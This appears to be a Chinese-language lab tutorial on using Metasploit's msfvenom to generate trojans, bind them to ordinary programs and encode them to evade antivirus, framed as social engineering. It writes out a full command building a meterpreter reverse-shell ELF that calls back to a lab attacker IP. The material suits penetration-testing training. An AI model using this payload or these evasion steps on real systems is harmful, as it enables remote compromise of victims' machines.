1. 程式人生 > 其它 >Metasploit 實現木馬生成、捆綁及免殺

Metasploit 實現木馬生成、捆綁及免殺

簡介:在滲透測試的過程中,避免不了使用到社會工程學的方式來誘騙對方執行我們的木馬或者點選我們準備好的惡意連結。木馬的捆綁在社會工程學中是我們經常使用的手段,而為了躲避防毒軟體的查殺,我們又不得不對木馬進行免殺處理。本次實驗我們將學習如何通過Metasploit的msfvenom命令來生成木馬、捆綁木馬以及對木馬進行免殺處理。木馬檔案風險高,想要免殺需要用shellter工具捆綁下,但是處理後木馬檔案還是能被360檢測到攔截下來。

實驗環境:

Kali Linux

知識點:

msfvenom 如何生成木馬 msfvenom 如何捆綁木馬到常用軟體 msfvenom 如何對木馬進行編碼免殺

Metasploit介紹

Metasploit是一個可用來發現、驗證和利用漏洞的滲透測試平臺,目前實驗環境中Metasploit的版本是v4.12.23-dev包含了1577個exploits、907個auxiliary、272個post、455個payloads、39個encoders以及8個nops。

其中exploits是漏洞利用模組(也叫滲透攻擊模組),auxiliary是輔助模組,post是後滲透攻擊模組,payloads是攻擊載荷也就是我們常說的shellcode,這裡生成的木馬其實就是payloads。

在本次試驗中我們主要使用的是msfpayload(攻擊荷載生成器),msfencoder(編碼器)的替代品msfvenom,msfvenom集成了前兩者的全部功能,可以生成payload(本節所說的木馬)以及對payload編碼免殺和避免壞字元、捆綁木馬等。在Kali Linux中預設安裝了Metasploit framework 我們可以直接使用。

攻擊機:Kali Linux 2.0 虛擬機器,主機名是 kali,IP 地址為 192.168.122.101,預設使用者名稱和密碼為 root/toor。

靶機:Metasploitable2 虛擬機器,主機名是 target,IP 地址為 192.168.122.102,預設使用者名稱和密碼為 msfadmin/msfadmin。

本次實驗我們只用到 Kali linux 虛擬機器。

我們先來檢視當前環境虛擬機器的列表和狀態:

因環境中虛擬機器太慢,這裡採用 docker 容器。進入 kali linux 系統的方式如下:

生成木馬

在進行木馬生成實驗之前我們先來學習一下msfvenom命令的用法。在 Kali linux 下輸入如下命令,可以看到msfvenom的命令列選項。

./msfvenom -h

捆綁木馬

通常我們生成了木馬之後,要運用社會工程學的攻擊方式誘騙目標執行我們的木馬程式,否則我們的木馬只是玩具罷了。

捆綁木馬我們還是使用上面提到的msfvenom命令,只不過這裡我們要用到一個新的命令列選項-x。我們來看一下-x選項的用法及含義。

-x選項:允許我們指定一個自定義的可執行檔案作為模板,也就是將木馬捆綁到這個可執行檔案上。

將生成的木馬當做常用應用程式來捆綁木馬。

雖然我們已經準備好了木馬程式,並且也捆綁到了常用的應用程式上,但是現在防毒軟體氾濫,不經過免殺就算成功上傳到目標主機,估計還沒等執行就被殺掉了。這裡用msfvenom生成木馬同時對payload編碼來實現木馬的簡單免殺。我們先來學習一下我們要用到的命令選項:

-e選項:用來指定要使用的編碼器。 -i選項:用來指定對payload編碼的次數。 先來看一下都有哪些編碼器可用:

這裡我們挑選一個免殺效果比較好的編碼器x86/shikata_ga_nai,進行編碼:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.122.101 -e x86/shikata_ga_nai -i 5 -f elf -o /root/payload_encoder.elf

總結

從圖中我們可以看到完成了對木馬的5次編碼,這樣木馬基本上就可以躲避部分防毒軟體的查殺,其實還可以對木馬程式進行多次編碼,雖然可以提高木馬的免殺機率,不過可能會導致木馬程式不可用。當然要想免殺效果更好就需要使用Metasploit pro版本或者給木馬加殼、修改木馬的特徵碼等等,不過要想躲過全部防毒軟體的查殺則會有些難度,通常會針對某個防毒軟體進行免殺。

原文連結
本文為阿里雲原創內容,未經允許不得轉載。